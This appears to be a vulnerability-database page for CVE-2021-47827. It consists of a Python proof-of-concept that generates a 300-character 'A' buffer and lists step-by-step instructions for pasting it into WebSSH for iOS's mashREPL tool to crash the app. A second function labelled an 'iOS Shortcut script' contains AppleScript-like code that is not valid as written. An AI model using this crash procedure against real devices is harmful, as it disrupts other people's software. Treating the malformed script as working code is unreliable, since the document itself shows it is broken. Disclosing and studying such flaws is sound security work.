CVE-2021-47827 WebSSH for iOS mashREPL拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2021-47827 PoC - WebSSH for iOS mashREPL DoS # Generate 300 'A' characters to trigger the vulnerability def generate_dos_payload(): """ Generate malformed input to trigger DoS in WebSSH for iOS mashREPL The vulnerability is triggered by pasting a 300-character buffer of repeated 'A' characters """ # 300 'A' characters payload payload = 'A' * 300 # Copy to clipboard (for manual testing on iOS device) print(f"Generated payload length: {len(payload)}") print(f"Payload content: {payload}") print("\nTo exploit:") print("1. Copy the above payload") print("2. Open WebSSH for iOS app") print("3. Navigate to mashREPL tool") print("4. Paste the payload into the input field") print("5. Application should crash immediately") return payload def generate_ios_shortcut_script(): """ Generate an iOS Shortcut script for automated exploitation This can be used to demonstrate the vulnerability on iOS devices """ script = ''' on run set payload to "" & (character id 65 as text) repeated 300 times set the clipboard to payload tell application "WebSSH for iOS" to activate -- User needs to manually paste in mashREPL end run ''' return script if __name__ == "__main__": payload = generate_dos_payload() print("\n" + "="*60) print("CVE-2021-47827 PoC - WebSSH for iOS mashREPL DoS") print("CVSS Score: 7.5 (High)") print("="*60)